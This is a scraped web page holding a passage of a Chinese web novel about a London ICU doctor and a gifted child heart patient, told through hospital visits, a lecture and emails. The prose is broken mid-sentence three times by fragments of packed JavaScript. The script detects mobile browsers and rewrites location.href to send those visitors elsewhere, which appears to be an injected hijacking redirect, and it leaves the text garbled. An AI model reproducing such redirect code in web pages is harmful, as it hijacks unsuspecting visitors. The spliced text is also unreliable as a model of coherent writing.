l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401645|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 那双眼睛还是黑的,还是静的,但现在里面有别的东西。他一时说不上来是什么,但那点亮光让她的眼睛看起来不像刚熬过四次抢救的孩子,倒像个普通的七岁小孩——会因为舍不得一个人而哭的那种。 他张了张嘴,想说什么,但没说出来。 电梯停了。门打开,17楼到了。 他推着床走出去,护士站的人已经在等着了。 “接病人,佐伊-普林斯。”他说。 —— 心外的护士围过来,登记与核对信息。把小家伙推到病房,过床。安东尼亲手抱的,七岁的小姑娘,二十公斤,轻得像一只小鸟。 他把她放到病床上,护士开始连接各种监护,整理管路,核对药物。他站在床边,看着她们忙。 佐伊乖乖躺着,眼睛一直跟着他。 “你以后还会来看我吗?”她问。 安东尼想了想。ICU和心外不在一个病区,理论上他不需要每天过来。但是主任的大查房和随时都有可能出现的会诊,可能也会成为他来这里理由。所以,他知道他会来。 “会。”他说。 她点点头,没再多问。 护士在旁边说:“安东尼医生,交接单需要您签个字。” 他接过来,签了。签完抬头,佐伊还在看他。 “睡一会儿。”他说,“刚转出来,特别需要休息。” “我不困。” “那就闭着眼睛休息。” 她眨了眨眼,没反驳,侧了侧身,显然在找一个更舒服的,不疼的角度,把眼睛闭上了。 安东尼站了几秒钟,转身往外走。走到门口的时候,他回头看了一眼。她没睁眼,但嘴角动了一下,不知道是笑还是在撇嘴。 他走出去,门在身后轻轻关上。 走廊里很安静。17楼的窗户很大,能看到伦敦的天。今天是阴天,灰白的云层压得很低,但光线比刚来的时候亮一些。 他站在那里,看了一会儿。 手机震了一下。他掏出来看了一眼。 查尔斯:“谢谢。这孩子拜托了。” 他没回。把手机揣回口袋,往电梯走。 电梯往下,经过ICU那一层的时候,他没停。继续往下,到一楼,走出去。外面是伦敦的街道,灰扑扑的,很冷,有一点点风。他沿着人行道走了几分钟,拐进那家24小时超市,买了一盒牛奶,一盒苹果和一包速溶咖啡。 收银员是个戴眼镜的中年女人,看了他一眼,用带着口音的英语问:“今天休息?” “算是。”他说。 他拎着东西走回宿舍,把牛奶放进冰箱,咖啡放在桌上。然后他在床边坐了一会儿,看着窗外。 窗外还是那片灰蒙蒙的天。他低了低头,开始回私人手机上堆成山的消息。老同学听说了他回了伦敦,纷纷发消息询问近况。 “还习惯伦敦吗?不过这几年伦敦变化不大。”当时带过安东尼的老师Shannon也来问候,“有时间的时候找我们喝下午茶。” “一落地就和死神打了一个月拉锯战。”安东尼回消息的时候不自觉的叹了口气,“不过那孩子居然赢下来了。” “是你们一起赢下来的。”Shannon居然秒回了。 “yep.”安东尼终于微微笑了一下。 4. 安家 不知不觉,半个月过去了。 此刻已经是伦敦的隆冬。窗外的天总是黑得很早,下午四点就开始暗下来,到五点已经彻底沉了。 佐伊开胸手术时被锯开的胸骨在这段时间里初步长好了,止痛泵撤了,她也不用再因为想舒舒服服翻个身而疼得冷汗直冒,但手腕上因留置针而遗留的那一片淤青还没彻底散去,有时候,会跟着她抬手拿东西的动作露出来,在苍白的皮肤衬托下很显眼。 安东尼差不多每周去心外病区两次,去看看佐伊恢复得怎么样,检查伤口,听一听心肺——这些事住院医当然会做,但是既然查尔斯请他看着这个孩子,那他就来看看。 心外的主任麦克斯知道,大老板请了安东尼做这个孩子的“医疗顾问”,所以,日常用药及监护情况,他都会顺手邮件一份给这个有着兼职的重症主任。看到安东尼在自己病区里“晃”,也会互相点点头打个招呼。 两人有时候会在手术室那边的食堂或者是2M的餐厅碰见,经常端着餐盘边吃边聊,聊聊最近头疼的病例,不稳的患者,以及伦敦冬季的寒风与积雪给住总们带来的困境——一群因寒冷诱发心血管疾病及呼吸系统疾病的人涌进了医疗系统,而那些特别难治的,几乎都在想办法往Beacon转。安东尼半开玩笑的说,冬天的icu,几乎是呼吸和心内的专场,他都快要往走廊加床了。麦克斯笑着请安东尼喝咖啡,叮嘱他一定记得给心外留几个位置,“我那儿下来的病人总要去你那边周转几天,可别把我忘了!” 安东尼接了咖啡,神情里有点戏谑,“really?你确定是几天?我刚来的时候你就给我送了个一个月的。” “得了吧,闭嘴。”麦克斯比安东尼大十来岁,开心的时候笑起来依然像个大男孩,''Don''t jinx it!'' 安东尼陪着笑了笑。还没来得及接话,突然电话响,医务那边发来一个心内的平会诊,多半是入院评估——Beacon其实挺特殊,入院评估的时候,如果有必要,接诊的医生会把重症也拉过去看看病人,以防万一。这会儿虽然已经不是安东尼的班了,但他接了会诊单,准备吃过饭跑一趟。 麦克斯也有事,他与安东尼告了别,临走多说了一句,“有空来串门,你在理工的那个老师,后来去了MDC做药研,他前段时间跟我说有新药要批,我准备找他弄点资源。” 安东尼眨眨眼,应了这个邀约。医疗圈子其实不大,顶尖的这撮人互相都挺熟。 心内科在15楼,下午四点,平会诊谈完了。安东尼想着时间还早,就上了两层楼,去看看佐伊。 其实安东尼基本能猜到她在干嘛,一般来说,那个小家伙在病房里几乎只做三件事,睡觉,吃饭和看书。她精神还不太好,贫血尚未纠正,食欲一般,整天睡睡醒醒的,可是手边几本书说什么都不肯撒手。护士说她常常看半小时左右就自己睡过去了,把书当成了伴眠的布偶,睡醒了,就继续翻。 安东尼还记得自己第一次见到佐伊时,就被她的冷静和成熟震惊。但那时候,他觉得这孩子捧着医学教材只是她在解闷,是一个孩子在试图理解“一种有插画的图画书”——或许是问哪个规培要过来的,也有可能是主治随手给她翻着玩的。 后来,当安东尼走进佐伊的单人病房,看到床头柜上整整齐齐放着的白皮书和指南时,他才切切实实意识到,这个孩子当时问他的有关多巴胺的问题,可能不仅仅是随随便便从哪个医护嘴里听来的。而是自己……真的在思考。 佐伊的病房在走廊尽头。病房门开着,她侧对房门,盘腿坐在床上,看着手里的“砖头”。贴身穿着的病号服稍微有点大,外面又套着自己的毛衣和卫衣,病号服领子皱巴巴地从领口冒出来一点,看起来很随便。她手里捏着铅笔,在另一本拍纸本上写东西。 法四的孩子都很喜欢蜷缩着蹲坐,或者盘腿坐着。这姿势对改善他们缺氧的情况有好处,心肺压力可以小些。眼下根治术做完了,循环改善了,但盘腿窝着的习惯改不掉了——从小觉得“舒服”和“安全”的姿势,已经写进了生活的本能里。 安东尼轻轻敲了敲门框,和佐伊打招呼,“下午安。” 佐伊抬起头,眼睛一亮,“安东尼!” 他走进去,站在床边,看了一眼她手里的东西。那是一本《儿科心脏病学临床指南》,第七版,八百多页,合起来比她的胸腔还厚。旁边的拍纸本上密密麻麻写满了字,不是乱涂乱画,是真的笔记——她甚至在画心脏解剖图,右心室流出道、肺动脉瓣、室间隔缺损的位置,标得清清楚楚。虽然能看出来这是她从病例插图上描摹下来的,但是绘制的思路和理解的方向完全准确。 安东尼沉默了两秒,感觉自己的世界观有点崩塌。 “你看得懂?” “有些懂,有些不懂。”佐伊把书合上,“不懂的就等医生来查房的时候问。” “他们给你讲?” “有的讲,有的不讲。”她想了想,“麦克斯医生会讲,但他太忙了。有的医生就说‘等你长大了再学’。” 佐伊完全是个小大人,她把那句“等你长大了再学”模仿得惟妙惟肖,然后她轻轻耸了耸肩,表示自己完全理解“大人们”,接受自己“还小”这个事实。 安东尼在床边的椅子上坐下来,伸手问佐伊要那个拍纸簿。 “给我看看?” 佐伊痛快的递了过去。 安东尼低头翻了翻那本笔记。字体在七八岁孩子里算老练的,但笔触稚嫩着,有时候大写的P和D看起来长的一样,还喜欢用A来代替a,这显然是孩子的亲笔,但内容不是。 先是一页标准心脏结构解剖图,从哪本书里描下来的,画的挺对。所有结构标注都没有搞错。 然后一页,上面写着: “法洛四联症:肺动脉狭窄、室间隔缺损、主动脉骑跨、右心室肥厚。根治术:修补VSD,切除部分右心室流出道肌肉,扩大肺动脉。” 室间隔缺损旁边还备注了一句话:房间墙上有个洞,补上就行。 他翻到另一页: “低心排:血压低、尿少、四肢冷。处理:多巴胺5-10ug/kg/min,多巴酚丁胺,肾上腺素,如果不行。” 两个药剂专有名词写得磕磕绊绊,显然还没背出拼写,但是这一页写了个备注:我的病历上有这个。 他翻到再下一页: “心包积液:压迫心脏,血压掉。穿刺:剑突下入路,抽出来就好。” 小字备注:我的医生会做这个,所以我活着。 那是三周前的事。他站在佐伊床边,做穿刺,抽了140毫升淡黄色液体。那时候这孩子还在深度镇静,应该什么都不知道。 但她把这些写下来了。 “你怎么……?”安东尼自己停住了,他猛然意识到,佐伊好像把自己那个厚厚的病例本当成了学习的路线图。她在试着理解自己身上发生过什么。 “护士说的。”佐伊探头看了眼安东尼正在看的那一页,显然听明白了他的未尽之言,“她们说你半夜跑过来给我做的。她们说那很危险,多亏你来了。” 安东尼没说话,眼前猛地蒙上了一层雾。 “累吗?”佐伊又问。 “什么?”安东尼眨了眨眼,觉得自己跟不上这孩子的思路。 “你半夜不睡觉,跑来救我,累吗?” 安东尼拿着拍纸簿的手紧了紧,他偷偷深吸了一口气,才让自己的声音保持了应有的平稳。 “不累。” 佐伊点点头,像是放心了。然后她指了指拍纸本:“那…我写得都对吗?” “对。” 她笑了一下。不是那种客气的、礼貌的,面对长辈和照料者的笑,是真的高兴。嘴角往上弯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401646|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,露出一颗还没长完的恒牙,像只小猫似的。 安东尼看着那个笑,愣了一下。 这是他第一次看见她笑得那么…明媚。 “你还想问什么?”安东尼合上佐伊的本子,递还到她手里。 佐伊眨眨眼,像是没想到他会这么问。然后她想了想,哗啦哗啦翻了几下资料,然后指着书上的一幅图:“为什么有的孩子肺动脉瓣反流会很严重?麦克斯医生说我的肺动脉瓣保住了,这意味着…什么?” 安东尼接过书,看了看那幅图。然后他开始讲。从肺动脉瓣的解剖功能,讲到右心室 outflow 的解剖,讲到为什么有的孩子瓣环太小必须切开,讲到远期反流对右心室的影响,讲到什么时候需要换瓣,生物瓣和机械瓣的区别,机械瓣咯吱咯吱的噪音有些人会一直不习惯,聊了聊抗凝药的风险,一辈子吃华法林是什么体验。 他讲了大概十五分钟。尽量避开了专有名词 ,用孩子能理解的方式讲。 佐伊一直听着,偶尔点点头,偶尔问一个问题。问的都是关键的地方——比如生物瓣为什么会衰败——不是随便问问,是真的在努力理解。 讲完的时候,安东尼看着她,忽然意识到一件事。他不是在哄孩子。也不是在履行一个“医疗顾问”的职责,而是在与一位试图叩问“我是谁”,“为什么是我”的个体,平等地对谈。 “你为什么想知道这些?以后想当医生?”他问。 佐伊想了想,犹豫得点点头,然后又摇摇头。 “嗯…不知道。”她说,“我不知道自己能不能当医生,但是我想知道自己为什么是这样的。” 安东尼没再问,摸了摸她的头,站了起来。 窗外已经完全黑了,17楼的窗户映出病房的倒影——床、柜子、椅子上的人影、床头的氧气管路和用电回路、穿着白大褂的自己,以及套着卫衣的孩子。 那孩子累了,小心翼翼的打了个呵欠。 “我该走了。”安东尼说,“你好好休息。” 佐伊点点头,没留他。但在他走到门口的时候,她忽然开口: “安东尼。” 他回头。 “你下次什么时候来?” 安东尼想了想。ICU的排班、会诊、还有随时可能出现的抢救。他没法给她一个确切的时间。 “有空就来。” 佐伊点点头,对着安东尼挥了挥手。 安东尼走出去,门在身后轻轻关上。 走廊里很安静。17楼的窗户很通透,能看到伦敦的夜。今天的夜空,有几颗星星隐隐约约地挂着。 他站在那里,看了一会儿。这时,手机震了一下。 查尔斯: “她今天问我要了一本《格雷氏解剖学》。是你推荐的?” 他愣了一下,然后低头打字: “不是。可能是她看到了书后面的参考文献,自己要的。” 发完他把手机揣回口袋,往电梯走。 电梯往下,到了ICU那一层的时候,门开了,走廊里传来熟悉的监护仪滴滴声。这个点,他早就应该下班了,因此他没进值班室,直接去了更衣室,换上自己的厚外套。 电梯到一楼,他走出去。外面很冷,呼出来的气变成白雾。他把外套拉链拉到头,往超市方向走。 最近icu的病人都还比较平稳,安东尼做四休三的节奏也终于稳定了下来。查尔斯发邮件告诉他,ICU楼上那个酒店式公寓一样的休息室可以一直给他留着,但他依然把找公寓,办驾照之类的事宜提上了日程。他在伦敦的伙伴们正热情得邀请,并期待他的拜访。那些几年没见的导师和同门,似乎正在为他的跳槽,策划一场欢迎的派对。 不知道为什么,那个近十年来在宿舍和值班室里度过了所有“医生”生涯的安东尼觉得,好像自己值得拥有一个“家”了。 5. 疗养中心 2005年,春。 后来佐伊好了,不是那种“可以到处溜达”的好,是那种“可以出院回家”的好。虽说没有什么需要留在病房里由医生看顾的治疗了,但是还得好好养着。一般的家庭这时候会把孩子接回去,在家里待一段时间,让免疫再恢复恢复,并开始逐渐接触正常社会生活,如果三个月复查没问题,孩子就可以真正回归社会活动,比如,回去上学。 但是佐伊没人带。不,确切得说,佐伊没回“家”。 她转到了疗养中心。 那地方在医疗中心主楼后面,单独一栋矮楼,长期康复的,等待二次手术的,花钱来疗休的,还有一些说不清为什么就是出不去的。 佐伊属于最后那种。 安东尼第一次发现她还在,是三月中旬的事。那天他去隔壁街区集团主楼的行政中心办事——私人公寓找好了,国际驾照办妥了,科研身份转好了,护照证件也更新了,他要去找人事登记自己的个人信息——路过疗养中心那栋楼时,安东尼透过走廊的玻璃门,看见一个小小的身影坐在轮椅上,被护工带着晒太阳。那姿态看起来有点眼熟。他停下来,多看了一眼。 那个身影转过头来,停顿了一下,对他挥了挥手。 是佐伊。 安东尼推门进去,走到她面前。 “你怎么在这儿?”他问。 佐伊仰着头看他,神情里有一种见到好朋友的高兴:“我住这儿。” 安东尼愣了一下,蹲下来,与这个大约两个月没见过面的孩子平视。孩子营养状态肉眼可见的好一些了,脸色变好了,面颊上长了点肉,刚出院那会儿还漏风的牙缝也长齐了。 ——她出院那天,查尔斯来接了,帮小家伙提着一个装着换洗衣物和书籍的小行李箱,他们特地从病房那头慢慢走过来,向安东尼道谢。安东尼在那时候收到了佐伊写给她的“告别”卡片,那张画着一个健康心脏的小卡片,现在正端端正正的压在安东尼宿舍的抽屉里。 “你已经好了,”安东尼说,“可以回家了。” 佐伊嗯了一声,没有接话。 护工在旁边说了一句:“她家里人安排的。说这边照顾比较好。” 安东尼知道这个被Beacon附属的疗养中心有全科医生和一些护工一起照顾。房间不多,但据说也没住满。鉴于这里的医疗支持能力以及会诊时会摇来的专家水准,收费相当贵。但是查尔斯显然……毫不在意。 安东尼重新站起来,看着眼前这个坐在轮椅上晒太阳的孩子,伸手揉了一把她软软的头发,“下个月该来复查,提前告诉我。我尽量在。” 佐伊像是认真想了想,从外套口袋里拿出了拍纸簿,连着铅笔一起给安东尼递过去,“给个邮箱?我邮件你,预约时间。” 安东尼一愣,接过纸笔,用自己带着的那个又大又厚的文件袋当垫板,写下了自己的邮箱地址,以及工作手机的号码。 佐伊拿回拍纸簿的时候,先仔细看了看,又念了一遍,与安东尼核对了邮箱的拼写,“Anthony 这是个小写的L还是大写的i ?” “小写的L,”安东尼说,“真仔细。” 佐伊微微笑了笑,是那种有外人在,有些不好意思的藏着自己情绪的微笑,她看了一眼安东尼手里的文件袋,“你去忙吧,回头见。” 安东尼愣了愣,想起了当时被她一句话钉在电梯外面的查尔斯。这不是偶然,这孩子已经习惯了这样稀疏的陪伴与频繁的别离。 安东尼与这个似乎有点过分敏锐的孩子告别,但走开两步后,又没忍住回头看了一眼。阳光照在她脸上,她眯着眼睛,看不出在想什么。 从那之后,他开始留意。 疗养中心那栋楼,不在他的工作路线上。但去2M层的中央餐厅,或是去停车场还是有机会路过。每次路过,他都往里看一眼。 大多数下午,他都能看见她。 有时候在走廊里。她跟在护工后面,慢慢地走,一步一步的。护工个子高,腿长,走得快,她就得小跑几步才能跟上。那画面有点好笑——一个七岁的孩子,跟在大人后面吧嗒吧嗒地走,像个小跟屁虫。 有时候在公共休息区。她坐在沙发上,腿上放着一本书,低着头看。旁边有老人在看电视剧,声音开得很大,她也不受影响,就自己看自己的,也有时候她昂着头一起看BBC纪录片。 有时候在院子里。她坐在花园长椅上,披着外套,躲在没风的地方,膝盖上盖着毯子晒太阳。那种时刻,她的手里往往捧着文摘本。阳光好的时候,能在那儿坐一整个下午。 有一次安东尼午休去食堂,看见她被一个住院医带着,在院子里散步。那个住院医他认识,是内分泌科的,外院轮转到这边来学习。两个人一边走一边说话,不知道在说什么。佐伊的表情很认真,像是在听什么重要的课。 安东尼站在那儿看了一会儿,笑了笑,然后走了。 他想,这孩子大概是把疗养中心住成了大学校园——她显然没有放过自己的病历本,没停止翻那些厚的像砖的专业书,也没饶过身边的任何一个可能会成为她老师的人。 —— 四月初,安东尼收到一封陌生地址寄来的邮件。 寄件人:Z-Prince.Beacon.co.uk Dr. Anthony, 我准备预约4月10日上午10:00,麦克斯医生的复查门诊。您有时间陪我吗? 如果您没有时间,请告知我其他方便的时候。 谢谢! BR. ZP. —— 安东尼查了一下自己的日程安排,这天一整天他不当班,但上午有个带规培生的科研答疑,不过答疑无所谓,可以挪到下午。安东尼先回复了佐伊的邮件。然后再给科研秘书打了个电话,通知了答疑时间改期,以保证自己这段时间有空。 说实话,在那张画得极其准确的心脏解剖图告别卡片之后,他已经慢慢的习惯了佐伊随时做点什么“出格”的事情,包括用这种在职场里呆过的人才会用的邮件格式和缩写来写信预约复查时间——当然,极有可能是查尔斯转发某些邮件给佐伊,被她学了去。安东尼想着。 4月10日那天,伦敦难得出了太阳。 安东尼提前五分钟到心外门诊。麦克斯的诊室在走廊尽头,他站在门口等,看着电梯的方向。 10点差两分,电梯门打开。 佐伊走出来,旁边跟着一个护工——不是之前那个高个子的,是个年轻姑娘,看起来二十出头,手里拎着一个帆布包,里面鼓鼓囊囊装着东西。佐伊自己走的,没坐轮椅。她穿着一件浅灰色的卫衣,牛仔裤,运动鞋,头发比之前长了一点,扎成一个小马尾。 她看见安东尼,脚步顿了一下,然后走过来。 “早上好。”她说,仰着头看他。 “早上好。”安东尼两只手插在白大褂的口袋里,低头看她,“自己走过来的?” “从后面走过来的。”她说,回头指了指疗养中心的方向,“不太远。” 护工在旁边补充:“二十分钟吧,她走得慢,我们提前出来的。” 安东尼点点头,蹲下来,看着佐伊。 “气色不错。” “嗯。”佐伊点点头,“最近没有发烧。” “咳嗽呢?” “偶尔,不厉害。” 安东尼伸手摸了摸她的脉搏。手腕上那片淤青早就散了,皮肤光滑,能感觉到跳动的节奏——规律,有力,每分钟88次左右。 “挺好的。”他说。 诊室的门开了,麦克斯的护士探出头来:“佐伊-普林斯?” “在。”佐伊应了一声,走进去。走到门口的时候她回头看了一眼安东尼。安东尼跟在后面,冲她点点头。 —— 复查做了两个小时。 心脏超声,心电图,胸片,抽血。佐伊躺在检查床上,撩起卫衣的下摆,露出胸口那道疤痕——已经从鲜红变成淡粉色,边缘开始泛白,像一条安静的蜈蚣趴在皮肤上。超声探头在上面滑过,屏幕上显示出心脏的影像,四个腔室,瓣膜开合,血流的方向。 麦克斯盯着屏幕,偶尔点点头,偶尔皱一下眉。安东尼站在旁边,看着同一块屏幕。 佐伊侧过头,也看着那块屏幕。她看不懂那些黑白灰的影像,也不清楚那些红红蓝蓝的色块意味着什么,但她看得很认真,像是在努力辨认。 “想看懂吗?”安东尼问。 “想!” “回头我教你。” 佐伊看了他一眼,没说话,但眼睛亮了一下。 “你这是带病人还是带规培啊?”麦克斯被他们的对话逗笑。“小佐伊,他要是讲不清楚你可以来我这里投诉,我罚他回学院讲课。他已经欠了我两场了。” 安东尼在边上笑出了声,佐伊眼睛也弯着。 Beacon的医生的确经常回学校讲课,他们也很愿意旁听案例分享会。安东尼自己上四休三,每周四个白班两个夜班还有三整天休息的作息,对他这个年纪的人来说不够成任何压力,所以,他很愿意回学院听听分享会,几乎场场不落的。几个月下来,几大科室的主任已经和安东尼混熟了,他们都熟悉了这个踏实务实的重症主任,虽然他年轻得吓人。但能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401647|200420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力的确毋庸置疑。 此外,帝国理工那些个留在Beacon的医学尖子,自然而然的抱成了圈子,互相答疑,竞争课题,偶尔还抢病人——Beacon只做疑难转诊和急诊,因此病人不算特别多。也正因如此,科研上大家都相对比较有时间,集团给科研打的比例又比较高,看见罕见案例,总会有一群主治围过来两眼放光。 安东尼觉得这一切都挺好,比新加坡那种累死人不偿命的大夜班+白班,休一天,接个白班,再来个大夜班+白班的死循环要好多了。生活节奏像回到了高校。只要ICU里的病人稳稳的,他也就也稳稳的做自己的课题。不慌不忙。 —— 复查结束的时候,麦克斯在诊室里跟他们交代结果。 “恢复得很好。”他说,指着片子上的几个位置,“右心室功能正常,肺动脉瓣轻度反流,但不影响。室缺修补的地方愈合得很好,没有残余分流。整体来说,比预期的还要好。” 佐伊坐在椅子上,认真听着。 “接下来可以慢慢增加活动量,”麦克斯说,“散步,慢跑,都可以。游泳的话再等两个月,等胸骨完全长好。饮食正常,注意排除过敏原,注意别感染。三个月后再来复查一次,如果没问题,就可以半年一次了。” “可以吃水果吗?”佐伊问,“生的可以直接吃吗。” “可以。”麦克斯推了推眼镜,“注意排除过敏,都可以吃。正常生活就行。” “谢谢麦克斯医生,我没有其他问题了。”佐伊说。 麦克斯笑了笑,看了安东尼一眼:“这孩子,说话比大人还大人。” 安东尼没接话。 走出诊室的时候,佐伊的护工去拿药了,剩下他们两个站在走廊里。 “饿吗?”安东尼问。 “还好。” “想吃什么?” 佐伊想了想:“三明治?有那种小圆面包夹火腿芝士的那种。还有水果。” “可以。” 他们去了医院一楼的咖啡厅。这个点人不多,靠窗的位置空着。安东尼买了两个三明治,一份水果切,一杯热巧克力,一杯咖啡,端过来坐下。 佐伊坐在他对面,阳光从窗户照进来,落在她脸上。她眯了眯眼睛,没躲,就那么晒着。 “你刚才说,教我。”她拿起三明治,咬了一口,然后看着他。 “嗯。” “什么时候?” 安东尼想了想:“下次吧。你下次复查的时候,我教你认超声图像。” “好。”佐伊点点头,又咬了一口三明治。嘴角沾了一点蛋黄酱。安东尼看着,没说话。 过了一会儿,佐伊忽然开口:“安东尼。” “嗯?” “你还去讲课?” “对。有时候。” “公开课?” 安东尼愣了愣,“算是。那种专业分享会和讲坛。” “我能去旁听吗?”佐伊瞪大眼,一错不错的盯着他。 “那是我们的专业论坛。”安东尼多少有点震惊了。 佐伊看着他,眼睛亮亮的,“嗯。所以我能去吗?” “可以,但是你不用上学吗?”安东尼没忍住问。 “我已经跟查尔斯谈过了,”她把最后一口三明治塞进嘴里,嚼了嚼,咽下去,然后拿起餐巾纸擦了擦嘴。“我自己能搞定这件事。” 安东尼没再多说。只是把水果碗往佐伊手边推了推,示意她吃。他没说“你可能听不明白”之类的话,他知道,这个孩子总有办法用自己的方式找到答案。 “谢谢。”佐伊看了看被推到面前的苹果切,拿起了一片,像只仓鼠一样用两只手捏着小口的咬。像在吃什么很珍惜的东西似的,要好好品尝。“很久不吃生的水果了,疗养院怕生食感染,总给我吃果泥。” “你又没有免疫问题,”安东尼没忍住吐槽了一句。“这也过于小心了,还是要适当暴露的,太谨慎没有好处。” 小家伙笑了一下,没多说话,只是埋头咔嚓咔嚓的咬。 安东尼坐在对面看着她安静得小口吃东西,像一只乖顺的小动物。 关于这个孩子的来历,他内心有很多猜测。他猜这是查尔斯从哪里救回来的一个孩子?或者是别人拜托给他的,又或者,这孩子与他有什么特别的缘分。她看起来似乎的确没有家人,查尔斯为她提供了衣食住行,最好的医疗环境,以及,也许是私人教师和私立学校之类的特殊教育支持。否则没有办法解释这孩子的成熟,以及人际交往上的疏离。 苹果吃完了。护工在咖啡厅门口等着,没有进来。 “我该回去了。”佐伊站起来,“感谢你的时间,以及午餐。” “不客气。” “我们下次复查见?” “当然。”安东尼点了点头。 6. 旁听生与邮件 安东尼送走佐伊,转身去准备下午的答疑会。对于半小时前佐伊说要“旁听”讲座的事情,他没怎么放在心上。安东尼不是故意的,当时他是真的觉得,专业讲座距离一个七八岁的孩子太远了。 答疑会结束的时候,他拿出手机看了看。有一条来自查尔斯的新消息: “复查情况麦克斯已告知。佐伊说今天很开心,谢谢。” “应该的。”安东尼回复。 —— 五月初,安东尼应麦克斯的邀请,去皇家理工讲坛做病例分享会。是个夜场,专门选的下班时间。 阶梯教室不大,能坐五十来人。医学院的和规培的陆陆续续签到,把位子占满了,很快走廊里也摆了一些椅子,甚至有人坐在台阶上。 今天安东尼与大家一起探讨的话题是心内膜炎重症感染。他拿了自己从规培时代到主任阶段的两百多个案例来做分析。病例时间跨度很长,大家能很明显地看到,检验检查水平的提高、药剂的研发、以及监测手段的不断进化,都在影响病情的转归结局。医学从来不是什么单一的学科,而是一个系统发展、彼此影响的庞大关系网。 他讲了大约一个小时,然后是提问环节。规培生几乎都没敢举手,话筒在观众席传来传去,最终是几个主治兴致勃勃又讨论了一个多小时。 散场的时候,人走得差不多了。安东尼整理自己的资料准备走,这时余光瞥见一个小小的、穿着卫衣的影子在沿着台阶往下走。她戴着口罩,大半张脸都躲在口罩后面。 “佐伊?”安东尼有点震惊。 那孩子沿着台阶走下来,有一点点蹦蹦跳跳的感觉,看起来心情很好。 “安东尼。”佐伊走到讲台前打招呼。 “你是怎么来的?”医学院的教室可不好找,而且这里距离疗养院大约有十五分钟车程。 “司机送我来的,车在停车场等。”佐伊把口罩摘了,看着安东尼。 “不,我的意思是,你怎么知道我在这里?”安东尼觉得查尔斯给佐伊安排司机和车都正常,但是他并没有通知这孩子自己今天有讲课安排。 “BeaconCare的内部网会发讲座通知,我没事情就看看。”佐伊毫不在意得摆了摆手,好像这是个正常人都知道的常识,“说起这个,安东尼,我可以发邮件给你问问题吗?” “当然可以。” 佐伊歪了歪头:“那你会回复吗?” “会,但是可能没那么快。”安东尼认真地看着这个眼里有光的孩子,“可能有病人在等,也可能有别的事。” 佐伊非常理解地点了点头,然后主动告别:“我先走了,司机在等我。你的朋友好像在等你去喝咖啡。” 安东尼回头看了一眼,确实有几个熟悉的主治站在教室后门口,朝他挥手。他转回来的时候,佐伊已经走出几步了。 “佐伊。”他叫住她。 她回头。 “下次来之前跟我说一声。”安东尼说,“我让人去门口接你。这里不太好找。” 佐伊愣了一下,然后笑了一下。不是那种客气的、礼貌的笑,是真的高兴的那种。 “好。”她说。 然后她戴上口罩,推开教室的门,消失在走廊里。 —— 那天之后,安东尼的邮箱里开始出现一些…奇怪的邮件。 发件人: 主题:Question about sepsis Dr. Anthony, 您昨天讲到,脓毒症早期的识别比后期干预更重要。但是您展示的一个病例里,病人在感染指标出现之前12小时就已经有神志改变。这种“神志改变”在儿童身上如何识别?尤其是还不能说话的小婴儿? 谢谢! ZP. 安东尼回: 烦躁、嗜睡、喂养困难、哭声弱。这些都是线索。但确实很难,所以儿童脓毒症的漏诊率一直很高。 A. —— 三天后,又一封。 发件人: 主题:Ventilator-associated pneumonia Dr. Anthony, 您在ICU给我用呼吸机的时候,是怎么预防VAP的?我看指南上说有“集束化策略”,但每个医院的执行不一样。 PS: 我不是在调查医疗质量,只是好奇。 ZP. 安东尼回: 床头抬高30-45度,每日镇静中断评估拔管可能,口腔护理,手卫生。做得好的话能降一半。 ps.知道你不是调查。 A. —— 过了两周: 发件人: 主题:ECMO Dr. Anthony, 您做过ECMO吗?什么情况下会用?我查了一下资料,说是有出血和血栓的风险,那怎么平衡?这机器看起来有点厉害。 ZP. 安东尼回: 做过。心源性休克、可逆性的呼吸衰竭、或者作为心脏术后过渡。平衡靠监测和经验,没有标准答案。它是一种很极端的支持方式,的确很厉害。 这些问题,你都是从哪看到的? A. 佐伊当日回: 文献库。我有权限。查尔斯给的。 ZP. 安东尼看着那行字,愣了一下。 还差四个月满八周岁。文献库。权限。这几个词拼在一起,像个鬼故事。 他把键盘推到一边,继续看他的病程记录。过了一会儿又把显示屏转了过来,回了一条: 注意休息。别看得太晚。 A. —— 七月中旬,安东尼去疗养中心看佐伊。 不是查尔斯要求的,也不是有什么医疗需要。他只是那天下午有空,从ICU出来,路过那栋矮楼的时候,停了一下,然后直接推门进去了。 那时候他们的往来邮件如果打印出来,已经堆成一座山了。安东尼有点按耐不住自己的好奇心——想知道这个总是令自己震惊的孩子到底把疗养院的生活过成了什么样子,据他所知,这孩子还经常在其他主任的分享会上“蹭课”,大家对这孩子的描述很统一:安静的躲在角落里,埋头记笔记,不提问,不打扰,不说话。 护工说她在房间里没出来,前台登记了安东尼的工牌,报了个门牌号。 安东尼穿过走廊,走到那个房间门口。门虚掩着,他抬手敲了敲。 “进。”里面的人说。 安东尼推开门,房间里阳光不错。佐伊坐在床上,盘着腿。跨床桌上放着一台笔记本电脑,电脑边上放着一本摊开的书,她好像在查资料,看几眼书,又看看屏幕。打字的时候手指飞快,快得不像一个孩子。 